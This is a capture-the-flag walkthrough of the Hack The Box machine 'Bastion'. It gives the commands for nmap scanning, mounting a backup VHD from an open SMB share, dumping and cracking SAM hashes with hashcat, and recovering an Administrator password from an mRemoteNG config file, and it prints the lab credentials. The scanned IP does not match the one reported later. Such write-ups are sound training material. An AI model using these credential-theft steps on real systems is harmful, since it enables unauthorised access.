HTB Bastion—Walkthrough

OS Used - Commando vm – Windows 7

Overview

-Scanning with nmap

-Accessing Public smb share ‘Backups’

-Mounting found vhd file

-Cracking SAM file found in mounted vhd for user

-Found mRemoteng installed

-Crack password from mRemoteng config file

Enumeration

```
C:\Users\ArmourInfosec\Desktop
λ nmap.exe -sV -sC -p- 10.10.10.152
Nmap scan report for 10.10.10.134
Host is up (0.23s latency).
Not shown: 65522 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
```

```
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -39m47s, deviation: 1h09m13s, median: 10s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-05-23T11:30:14+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-05-23 09:30:13
|_  start_date: 2019-05-23 05:46:29
```

Accessing Public Shares

1. Press Win+R

2. In the pop up box type '\\10.10.10.134'

3. Found a public share 'Backups', Inside that found a *note.txt* file with text below:

"Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow."

* Ok so there is a backup file "9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd", inside *WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351*

***VHD** (Virtual Hard Disk) is a file format which represents a virtual hard disk drive (HDD). It may contain what is found on a physical HDD, such as disk partitions and a file system

Mounting found vhd file

1. Right Click on Computer, click on Manage, click on Disk Management

2. At top left corner click on Action, then click on Attach VHD

3. In the pop-up window type \\10.10.10.134 in the address bar then open Backups*WindowsImageBackup\L4mpje-PC\ Backup 2019-02-22 124351*

4. Click on 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd then click on Open ,Wait for some time and a new HDD will be attached

Gaining User

1. From the mounted vhd copy SAM and SYSTEM file from C:\Windows\System32\config

2. Cracking SAM file

```
C:\Users\ArmourInfosec\Desktop
λ Samdump2.exe SAM SYSTEM > hash.txt

C:\Users\ArmourInfosec\Desktop
λ hashcat -m 1000 -a 0 --force --show --username hash.txt rockyou.txt
```

3. Got password of L4mpje, Login to ssh with L4mpje**:**bureaulampje

```
C:\Users\ArmourInfosec\Desktop
λ ssh.exe L4mpje@10.10.10.134
```

password:bureaulampje

4. type user.txt in C:\Users\L4mpje\Desktop

Privilege Escalation

1. On looking inside C:\Program Files\ found a Installed program mRemoteng

mRemoteNG: is the next generation of mRemote, open source, tabbed, multi-protocol, remote connections manager.

* It is remote connection manager so there is chance that it can hold the credentials

2. On searching found a vulnerability for this Program that the credentials can be disclosed

3. The file C:\Users\AppData\Roaming\mRemoteNG\confcons.xml holds the encrypted credentials, copied the file to my system

```
C:\Users\ArmourInfosec\Desktop
λ scp.exe L4mpje@10.10.10.134:C:\Users\L4mpje\AppData\Roaming\mRemoteng\confcons.xml .
```

4. Installed the mRemoteng from https://mremoteng.org/download in my system

5. On top right corner click File>Open Connection File and select the copied confcons.xml file

5. Create a new external tool, Click on tools at top right corner and right click on External tools and select New External tools

6. In display name fill whatever you want the name, in filename type ‘cmd’{without quotes}, in Argument type “/k echo %password%”

7. Right click on the connection DC and in External tools select the one you created

8. A command prompt will pop up and will show you the password for Administrator

9. login to ssh with Administrator**:**thXLHM96BeKL0ER2